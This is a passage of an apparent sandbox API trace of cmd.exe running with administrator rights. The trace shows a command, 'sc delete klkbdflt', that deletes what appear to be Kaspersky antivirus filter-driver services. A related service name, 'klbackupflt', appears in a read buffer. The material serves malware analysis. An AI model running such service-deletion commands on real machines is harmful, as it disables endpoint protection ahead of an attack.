| out: lpWideCharStr="e klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.788] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.788] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.788] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.788] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.788] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.788] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.788] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.788] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.788] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.788] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.788] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.788] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="lbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.788] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.788] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.788] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.789] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="kackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.789] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.789] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.789] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.789] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="bckupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.789] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.789] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.789] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.789] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="dkupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.789] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.789] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.789] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.789] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="fupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.789] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.789] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.789] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.789] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="lpflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.789] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.789] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.789] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.789] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="tflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.789] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.789] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.789] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.789] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.789] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.790] GetFileType (hFile=0xb8) returned 0x3 [0067.790] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.790] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.790] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.790] GetFileType (hFile=0x120) returned 0x3 [0067.790] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.790] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete klkbdflt\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete klkbdflt\n", lpUsedDefaultChar=0x0) returned 20 [0067.790] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x13, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x13, lpOverlapped=0x0) returned 1 [0067.790] GetProcessHeap () returned 0x1b0000 [0067.790] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0067.790] GetProcessHeap () returned 0x1b0000 [0067.790] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0067.791] GetProcessHeap () returned 0x1b0000 [0067.791] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0067.791] GetProcessHeap () returned 0x1b0000 [0067.791] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0067.791] GetProcessHeap () returned 0x1b0000 [0067.791] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x32) returned 0x1c6510 [0067.791] GetConsoleOutputCP () returned 0x1b5 [0067.791] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0067.791] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.791] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.791] GetProcessHeap () returned 0x1b0000 [0067.791] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0067.791] GetProcessHeap () returned 0x1b0000 [0067.791] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x38) returned 0x1c6550 [0067.791] GetProcessHeap () returned 0x1b0000 [0067.791] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cba10 [0067.791] SetErrorMode (uMode=0x0) returned 0x1 [0067.792] SetErrorMode (uMode=0x1) returned 0x0 [0067.792] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cba20, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0067.792] SetErrorMode (uMode=0x1) returned 0x1 [0067.792] GetProcessHeap () returned 0x1b0000 [0067.792] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cba10, Size=0x62) returned 0x1cba10 [0067.792] GetProcessHeap () returned 0x1b0000 [0067.792] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cba10) returned 0x62 [0067.792] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0067.792] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0067.792] GetProcessHeap () returned 0x1b0000 [0067.792] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0067.792] GetProcessHeap () returned 0x1b0000 [0067.792] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0067.792] GetProcessHeap () returned 0x1b0000 [0067.792] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0067.792] GetProcessHeap () returned 0x1b0000 [0067.792] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0067.792] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0067.792] GetProcessHeap () returned 0x1b0000 [0067.792] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0067.792] GetProcessHeap () returned 0x1b0000 [0067.792] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0067.792] GetProcessHeap () returned 0x1b0000 [0067.792] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0067.792] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.793] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.793] GetLastError () returned 0x2 [0067.793] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.793] GetLastError () returned 0x2 [0067.793] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.793] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0067.793] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0067.793] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.793] GetLastError () returned 0x2 [0067.793] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0067.794] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0067.794] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.794] GetProcessHeap () returned 0x1b0000 [0067.794] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0067.794] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.794] GetProcessHeap () returned 0x1b0000 [0067.794] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0x9e) returned 0x1c9180 [0067.794] GetProcessHeap () returned 0x1b0000 [0067.794] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0x9e [0067.794] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete klkbdflt") returned 1 [0067.795] GetProcessHeap () returned 0x1b0000 [0067.795] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0067.795] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0067.795] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0067.795] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0067.795] GetProcessHeap () returned 0x1b0000 [0067.795] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0067.795] GetProcessHeap () returned 0x1b0000 [0067.795] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0067.795] GetProcessHeap () returned 0x1b0000 [0067.795] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0067.795] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete klkbdflt", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete klkbdflt", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete klkbdflt", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0x348, dwThreadId=0xb3c)) returned 1 [0067.798] CloseHandle (hObject=0x54) returned 1 [0067.798] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0067.798] GetProcessHeap () returned 0x1b0000 [0067.798] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0067.798] GetEnvironmentStringsW () returned 0x1d1b10* [0067.798] GetProcessHeap () returned 0x1b0000 [0067.798] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0067.799] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0067.799] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0067.799] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd5000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0067.799] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0067.947] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0067.947] CloseHandle (hObject=0x50) returned 1 [0067.947] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0067.947] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0067.947] GetProcessHeap () returned 0x1b0000 [0067.947] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0067.947] GetEnvironmentStringsW () returned 0x1d1b10* [0067.947] GetProcessHeap () returned 0x1b0000 [0067.947] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0067.947] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0067.947] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0067.947] GetProcessHeap () returned 0x1b0000 [0067.947] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0067.947] GetEnvironmentStringsW () returned 0x1d1b10* [0067.947] GetProcessHeap () returned 0x1b0000 [0067.947] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0067.947] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0067.948] GetProcessHeap () returned 0x1b0000 [0067.948] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0067.948] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0067.948] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0067.948] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.948] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0067.948] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.948] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0067.948] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.948] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0067.949] GetConsoleOutputCP () returned 0x1b5 [0067.949] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0067.949] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.949] GetProcessHeap () returned 0x1b0000 [0067.949] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0067.949] GetProcessHeap () returned 0x1b0000 [0067.949] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0067.949] GetProcessHeap () returned 0x1b0000 [0067.949] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0067.949] GetProcessHeap () returned 0x1b0000 [0067.949] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0067.949] GetProcessHeap () returned 0x1b0000 [0067.949] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6550 | out: hHeap=0x1b0000) returned 1 [0067.949] GetProcessHeap () returned 0x1b0000 [0067.949] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0067.949] GetProcessHeap () returned 0x1b0000 [0067.949] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0067.949] GetProcessHeap () returned 0x1b0000 [0067.949] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0067.949] GetProcessHeap () returned 0x1b0000 [0067.949] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0067.949] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0067.949] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.949] GetFileType (hFile=0x120) returned 0x3 [0067.950] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.950] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0067.950] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0067.950] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0067.950] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0067.950] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0067.950] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0067.950] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.950] GetFileType (hFile=0x120) returned 0x3 [0067.950] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.950] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0067.950] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0067.950] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.950] GetFileType (hFile=0xb8) returned 0x3 [0067.950] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.950] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.950] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.950] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.950] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.950] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.950] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.950] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.950] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.951] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.951] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | 